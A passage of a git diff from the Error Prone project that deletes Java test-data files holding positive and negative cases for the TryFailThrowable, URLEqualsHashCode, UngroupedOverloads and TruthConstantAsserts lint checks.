string").isEqualTo(someStaticMethod()); - - // BUG: Diagnostic contains: assertThat(memberMethod()).isEqualTo(42); - assertThat(42).isEqualTo(memberMethod()); - - // BUG: Diagnostic contains: assertThat(someStaticMethod()).isEqualTo(42L); - assertThat(42L).isEqualTo(someStaticMethod()); - - // BUG: Diagnostic contains: assertThat(new Object()).isEqualTo(4.2); - assertThat(4.2).isEqualTo(new Object()); - } - - private static TruthConstantAssertsPositiveCases someStaticMethod() { - return new TruthConstantAssertsPositiveCases(); - } - - private TruthConstantAssertsPositiveCases memberMethod() { - return new TruthConstantAssertsPositiveCases(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TryFailThrowableNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TryFailThrowableNegativeCases.java deleted file mode 100644 index 5db8038c58d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TryFailThrowableNegativeCases.java +++ /dev/null @@ -1,185 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; - -import junit.framework.TestCase; -import org.junit.Assert; - -/** - * @author adamwos@google.com (Adam Wos) - */ -public class TryFailThrowableNegativeCases { - - public static void withoutFail() { - try { - dummyMethod(); - } catch (Throwable t) { - dummyRecover(); - } - } - - public static void failOutsideTry() { - try { - dummyMethod(); - } catch (Throwable t) { - dummyRecover(); - } - Assert.fail(); - } - - public static void withoutCatch() { - try { - dummyMethod(); - Assert.fail(""); - } finally { - dummyRecover(); - } - } - - /** For now, this isn't supported. */ - public static void multipleCatches() { - try { - dummyMethod(); - Assert.fail("1234"); - } catch (Error e) { - dummyRecover(); - } catch (Throwable t) { - dummyRecover(); - } - } - - public static void failNotLast() { - try { - dummyMethod(); - Assert.fail("Not last :("); - dummyMethod(); - } catch (Throwable t) { - dummyRecover(); - } - } - - public static void catchException() { - try { - dummyMethod(); - Assert.fail(); - } catch (Exception t) { - dummyRecover(); - } - } - - public static void catchException_failWithMessage() { - try { - dummyMethod(); - Assert.fail("message"); - } catch (Exception t) { - dummyRecover(); - } - } - - public static void codeCatch_failNoMessage() { - try { - dummyMethod(); - Assert.fail(); - } catch (Throwable t) { - dummyRecover(); - } - } - - public static void codeCatch_failWithMessage() { - try { - dummyMethod(); - Assert.fail("Faaail!"); - } catch (Throwable t444) { - dummyRecover(); - } - } - - public static void codeCatch_staticImportedFail() { - try { - dummyMethod(); - fail(); - } catch (Throwable t444) { - dummyRecover(); - } - } - - @SuppressWarnings("deprecation") // deprecated in JUnit 4.11 - public static void codeCatch_oldAssertFail() { - try { - dummyMethod(); - junit.framework.Assert.fail(); - } catch (Throwable codeCatch_oldAssertFail) { - dummyRecover(); - } - } - - @SuppressWarnings("deprecation") // deprecated in JUnit 4.11 - public static void codeCatch_oldAssertFailWithMessage() { - try { - dummyMethod(); - junit.framework.Assert.fail("message"); - } catch (Throwable codeCatch_oldAssertFailWithMessage) { - dummyRecover(); - } - } - - public static void codeCatch_FQFail() { - try { - dummyMethod(); - org.junit.Assert.fail("Faaail!"); - } catch (Throwable t444) { - dummyRecover(); - } - } - - public static void codeCatch_assert() { - try { - dummyMethod(); - assertEquals(1, 2); - } catch (Throwable t) { - dummyMethod(); - } - } - - public static void commentCatch_assertNotLast() { - try { - dummyMethod(); - assertTrue("foobar!", true); - dummyRecover(); - } catch (Throwable t) { - dummyMethod(); - } - } - - static final class SomeTest extends TestCase { - public void testInTestCase() { - try { - dummyMethod(); - fail("message"); - } catch (Throwable codeCatch_oldAssertFailWithMessage) { - dummyRecover(); - } - } - } - - private static void dummyRecover() {} - - private static void dummyMethod() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TryFailThrowablePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TryFailThrowablePositiveCases.java deleted file mode 100644 index 80e6a259bbc..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TryFailThrowablePositiveCases.java +++ /dev/null @@ -1,198 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; - -import java.util.Arrays; -import junit.framework.TestCase; -import org.junit.Assert; - -/** - * @author adamwos@google.com (Adam Wos) - */ -public class TryFailThrowablePositiveCases { - - public static void emptyCatch_failNoMessage() { - try { - dummyMethod(); - Assert.fail(); - // BUG: Diagnostic contains: catch (Exception t) - } catch (Throwable t) { - } - } - - public static void commentCatch_failNoMessage() { - try { - dummyMethod(); - Assert.fail(); - // BUG: Diagnostic contains: catch (Exception t123) - } catch (Throwable t123) { - // expected! - ; - /* that's an empty comment */ - } - } - - public static void commentCatch_failWithMessage() { - try { - dummyMethod(); - Assert.fail("Faaail!"); - // BUG: Diagnostic contains: catch (Exception t) - } catch (Throwable t) { - // expected! - } - } - - public static void commentCatch_failNotLast() { - try { - dummyMethod(); - fail("Faaail!"); - dummyMethod(); - // BUG: Diagnostic contains: catch (Exception t) - } catch (Throwable t) { - // expected! - } - } - - public static void commentCatch_assert() { - try { - dummyMethod(); - assertEquals(1, 2); - // BUG: Diagnostic contains: catch (Exception t) - } catch (Throwable t) { - // expected! - } - } - - public static void commentCatch_assertNotLast() { - try { - dummyMethod(); - assertTrue("foobar!", true); - dummyRecover(); - // BUG: Diagnostic contains: catch (Exception t) - } catch (Throwable t) { - // expected! - } - } - - public static void customMoreAsserts() { - try { - dummyMethod(); - CustomMoreAsserts.assertFoobar(); - dummyMethod(); - // BUG: Diagnostic contains: catch (Exception t) - } catch (Throwable t) { - // expected! - } - } - - public static void customMoreAsserts_fail() { - try { - dummyMethod(); - CustomMoreAsserts.fail("param", 0x42); - dummyMethod(); - // BUG: Diagnostic contains: catch (Exception t) - } catch (Throwable t) { - // expected! - } - } - - static final class SomeTest extends TestCase { - public void testInTestCase() { - try { - dummyMethod(); - fail("message"); - // BUG: Diagnostic contains: catch (Exception codeCatch_oldAssertFailWithMessage) - } catch (Throwable codeCatch_oldAssertFailWithMessage) { - // comment - /* another */ - } - } - } - - static final class CustomMoreAsserts { - static void assertFoobar() {} - - static void fail(String param1, int param2) {} - } - - private static void dummyRecover() {} - - private static void dummyMethod() {} - - public static void catchesAssertionError() { - try { - dummyMethod(); - Assert.fail(); - // BUG: Diagnostic contains: remove this line - } catch (AssertionError e) { - } - } - - public static void hasMessage() { - try { - dummyMethod(); - Assert.fail("foo"); - // BUG: Diagnostic contains: remove this line - } catch (AssertionError e) { - } - } - - public static void catchesError_lastStatement() { - try { - dummyMethod(); - Assert.fail(); - // BUG: Diagnostic contains: remove this line - } catch (Error e) { - } - } - - public static void catchesError_notLastStatement() { - try { - dummyMethod(); - Assert.fail(); - // BUG: Diagnostic contains: boolean threw = false; - } catch (Error e) { - } - - assertTrue(true); - } - - public static void catchesError_nested() { - for (Object o : Arrays.asList()) { - try { - dummyMethod(); - Assert.fail(); - // BUG: Diagnostic contains: boolean threw = false; - } catch (Error e) { - } - } - } - - public static void catchesError_nestedNoBlock() { - for (Object o : Arrays.asList()) - try { - dummyMethod(); - Assert.fail(); - // BUG: Diagnostic contains: boolean threw = false; - } catch (Error e) { - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/URLEqualsHashCodeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/URLEqualsHashCodeNegativeCases.java deleted file mode 100644 index c80f7454c75..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/URLEqualsHashCodeNegativeCases.java +++ /dev/null @@ -1,73 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.net.URL; -import java.util.ArrayList; -import java.util.Collection; -import java.util.HashMap; -import java.util.HashSet; -import java.util.List; -import java.util.Set; - -/** - * Negative test cases for URLEqualsHashCode check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class URLEqualsHashCodeNegativeCases { - - private static class Url { - private Url() { - // no impl - } - } - - // Set and HashSet of non-URL class. - public void setOfUrl() { - Set urlSet; - } - - public void hashsetOfUrl() { - HashSet urlSet; - } - - // Collection(s) of type URL - public void collectionOfURL() { - Collection urlSet; - } - - public void listOfURL() { - List urlSet; - } - - public void arraylistOfURL() { - ArrayList urlSet; - } - - public void hashmapWithURLAsValue() { - HashMap stringToUrlMap; - } - - private static class ExtendedMap extends HashMap { - // no impl. - } - - public void hashMapExtendedClass() { - ExtendedMap urlMap; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/URLEqualsHashCodePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/URLEqualsHashCodePositiveCases.java deleted file mode 100644 index 6785f8c5da1..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/URLEqualsHashCodePositiveCases.java +++ /dev/null @@ -1,112 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.BiMap; -import com.google.common.collect.HashBiMap; -import com.google.common.collect.ImmutableSet; -import java.net.URL; -import java.util.HashMap; -import java.util.HashSet; -import java.util.Map; -import java.util.Set; - -/** - * Positive test cases for URLEqualsHashCode check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class URLEqualsHashCodePositiveCases { - - public void setOfURL() { - // BUG: Diagnostic contains: java.net.URL - Set urlSet = new HashSet(); - } - - public void setOfCompleteURL() { - // BUG: Diagnostic contains: java.net.URL - Set urlSet = new HashSet(); - } - - public void hashmapOfURL() { - // BUG: Diagnostic contains: java.net.URL - HashMap urlMap = new HashMap(); - } - - public void hashmapOfCompleteURL() { - // BUG: Diagnostic contains: java.net.URL - HashMap urlMap = new HashMap(); - } - - public void hashsetOfURL() { - // BUG: Diagnostic contains: java.net.URL - HashSet urlSet = new HashSet(); - } - - public void hashsetOfCompleteURL() { - // BUG: Diagnostic contains: java.net.URL - HashSet urlSet = new HashSet(); - } - - private static class ExtendedSet extends HashSet { - // no impl. - } - - public void hashSetExtendedClass() { - // BUG: Diagnostic contains: java.net.URL - HashSet extendedSet = new ExtendedSet(); - - // BUG: Diagnostic contains: java.net.URL - Set urlSet = new ExtendedSet(); - } - - private static class ExtendedMap extends HashMap { - // no impl. - } - - public void hashMapExtendedClass() { - // BUG: Diagnostic contains: java.net.URL - HashMap extendedMap = new ExtendedMap(); - - // BUG: Diagnostic contains: java.net.URL - Map urlMap = new ExtendedMap(); - } - - public void hashBiMapOfURL() { - // BUG: Diagnostic contains: java.net.URL - BiMap urlBiMap = HashBiMap.create(); - - // BUG: Diagnostic contains: java.net.URL - BiMap toUrlBiMap = HashBiMap.create(); - } - - public void hashBiMapOfCompleteURL() { - // BUG: Diagnostic contains: java.net.URL - HashBiMap urlBiMap = HashBiMap.create(); - - // BUG: Diagnostic contains: java.net.URL - HashBiMap toUrlBiMap = HashBiMap.create(); - } - - public void immutableSetOfURL() { - // BUG: Diagnostic contains: java.net.URL - ImmutableSet urlSet = ImmutableSet.of(); - - // BUG: Diagnostic contains: java.net.URL - ImmutableSet urlSet2 = ImmutableSet.builder().build(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsNegativeCases.java deleted file mode 100644 index f836950b4f1..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsNegativeCases.java +++ /dev/null @@ -1,57 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -public class UngroupedOverloadsNegativeCases { - - private int foo; - - public UngroupedOverloadsNegativeCases(int foo) { - this.foo = foo; - } - - public void bar(int x) { - bar(foo, x); - } - - public void bar(int x, String z, int y) { - System.out.println(String.format("z: %s, x: %d, y: %d", z, x, y)); - } - - public void bar(int x, int y) { - bar(y, FOO, x); - } - - public static class Baz {} - - public static final String FOO = "foo"; - - public void baz(String x) { - baz(x, FOO); - } - - public void baz(String x, String y) { - bar(foo, x + y, foo); - } - - public int foo() { - return this.foo; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesCovering.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesCovering.java deleted file mode 100644 index d1f4b034b38..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesCovering.java +++ /dev/null @@ -1,61 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -public class UngroupedOverloadsPositiveCasesCovering { - - // BUG: Diagnostic contains: ungrouped overloads of 'foo' - public void foo(int x) { - System.out.println(x); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'bar' - public void bar() { - foo(); - } - - public void baz() { - bar(); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'bar' - public void bar(int x) { - foo(x); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'quux' - private void quux() { - norf(); - } - - private void norf() { - quux(); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'quux' - public void quux(int x) { - bar(x); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'foo' - public void foo() { - foo(42); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesCoveringOnlyOnFirst.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesCoveringOnlyOnFirst.java deleted file mode 100644 index 620de842ec0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesCoveringOnlyOnFirst.java +++ /dev/null @@ -1,56 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -public class UngroupedOverloadsPositiveCasesCoveringOnlyOnFirst { - - // BUG: Diagnostic contains: Constructors and methods with the same name should appear - public void foo(int x) { - System.out.println(x); - } - - public void bar() { - foo(); - } - - public void baz() { - bar(); - } - - public void bar(int x) { - foo(x); - } - - private void quux() { - norf(); - } - - private void norf() { - quux(); - } - - public void quux(int x) { - bar(x); - } - - public void foo() { - foo(42); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesInterleaved.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesInterleaved.java deleted file mode 100644 index efccc437652..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesInterleaved.java +++ /dev/null @@ -1,62 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -public class UngroupedOverloadsPositiveCasesInterleaved { - - private int foo; - - // BUG: Diagnostic contains: ungrouped overloads of 'bar' - public void bar(int x, String z, int y) { - System.out.println(String.format("z: %s, x: %d, y: %d", z, x, y)); - } - - public UngroupedOverloadsPositiveCasesInterleaved(int foo) { - this.foo = foo; - } - - // BUG: Diagnostic contains: ungrouped overloads of 'bar' - public void bar(int x) { - bar(foo, x); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'baz' - public void baz(String x) { - baz(x, FOO); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'bar' - public void bar(int x, int y) { - bar(y, FOO, x); - } - - public static final String FOO = "foo"; - - // BUG: Diagnostic contains: ungrouped overloads of 'baz' - public void baz(String x, String y) { - bar(foo, x + y, foo); - } - - public void foo(int x) {} - - public void foo() { - foo(foo); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesMultiple.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesMultiple.java deleted file mode 100644 index 58f8e05e2e4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesMultiple.java +++ /dev/null @@ -1,93 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -public class UngroupedOverloadsPositiveCasesMultiple { - - private int foo; - - // BUG: Diagnostic contains: ungrouped overloads of 'bar' - public void bar(int x, String z, int y) { - System.out.println(String.format("z: %s, x: %d, y: %d", z, x, y)); - } - - private UngroupedOverloadsPositiveCasesMultiple(int foo) { - this.foo = foo; - } - - // BUG: Diagnostic contains: ungrouped overloads of 'bar' - public void bar(int x) { - bar(foo, x); - } - - public void baz(String x) { - bar(42, x, 42); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'bar' - public void bar(int x, int y) { - bar(y, FOO, x); - } - - public static final String FOO = "foo"; - - // BUG: Diagnostic contains: ungrouped overloads of 'bar' - public void bar(int x, int y, int z) { - bar(x, String.valueOf(y), z); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'quux' - public int quux() { - return quux(quux); - } - - public int quux = 42; - - // BUG: Diagnostic contains: ungrouped overloads of 'quux' - public int quux(int x) { - return x + quux; - } - - private static class Quux {} - - // BUG: Diagnostic contains: ungrouped overloads of 'quux' - public int quux(int x, int y) { - return quux(x + y); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'norf' - public int norf(int x) { - return quux(x, x); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'norf' - public int norf(int x, int y) { - return norf(x + y); - } - - public void foo() { - System.out.println("foo"); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'norf' - public void norf(int x, int y, int w) { - norf(x + w, y + w); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesSingle.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesSingle.java deleted file mode 100644 index 0a0c98b9266..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesSingle.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -public class UngroupedOverloadsPositiveCasesSingle { - - public void quux() { - foo(); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'foo' - public void foo() { - foo(42); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'foo' - public void foo(int x) { - foo(x, x); - } - - public void bar() { - bar(42); - } - - public void bar(int x) { - foo(x); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'foo' - public void foo(int x, int y) { - System.out.println(x + y); - } - - public void norf() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringComments.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringComments.java deleted file mode 100644 index 29c2d1507d3..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringComments.java +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -class UngroupedOverloadsRefactoringComments { - - private void bar() {} - - public static final String FOO = "foo"; // This is super-important comment for `foo`. - - // Something about `bar`. - /** Does something. */ - public void bar(int x) {} - - // Something about this `bar`. - public void bar(int x, int y) {} - - // Something about `baz`. - public static final String BAZ = "baz"; // Stuff about `baz` continues. - - // More stuff about `bar`. - public void bar(int x, int y, int z) { - // Some internal comments too. - } - - public void quux() {} - - public void bar(String s) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringComments_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringComments_expected.java deleted file mode 100644 index 98f56b691aa..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringComments_expected.java +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -class UngroupedOverloadsRefactoringComments { - - private void bar() {} - - // Something about `bar`. - /** Does something. */ - public void bar(int x) {} - - // Something about this `bar`. - public void bar(int x, int y) {} - - // More stuff about `bar`. - public void bar(int x, int y, int z) { - // Some internal comments too. - } - - public void bar(String s) {} - - public static final String FOO = "foo"; // This is super-important comment for `foo`. - - // Something about `baz`. - public static final String BAZ = "baz"; // Stuff about `baz` continues. - - public void quux() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringInterleaved.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringInterleaved.java deleted file mode 100644 index 5191d7bcff5..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringInterleaved.java +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -class UngroupedOverloadsRefactoringInterleaved { - - public void foo() {} - - public void baz() {} - - public void bar() {} - - public void foo(int x) {} - - public void baz(int x) {} - - public void foo(int x, int y) {} - - public void quux() {} - - public void baz(int x, int y) {} - - public void quux(int x) {} - - public void bar(int x) {} - - public void quux(int x, int y) {} - - public void foo(int x, int y, int z) {} - - public void bar(int x, int y) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringInterleaved_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringInterleaved_expected.java deleted file mode 100644 index a2847f6100b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringInterleaved_expected.java +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -class UngroupedOverloadsRefactoringInterleaved { - - public void foo() {} - - public void foo(int x) {} - - public void foo(int x, int y) {} - - public void foo(int x, int y, int z) {} - - public void baz() {} - - public void baz(int x) {} - - public void baz(int x, int y) {} - - public void bar() {} - - public void bar(int x) {} - - public void bar(int x, int y) {} - - public void quux() {} - - public void quux(int x) {} - - public void quux(int x, int y) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringMultiple.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringMultiple.java deleted file mode 100644 index 6c86e7ba094..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringMultiple.java +++ /dev/null @@ -1,54 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -class UngroupedOverloadsRefactoringMultiple { - - public void foo() {} - - public void foo(int x) {} 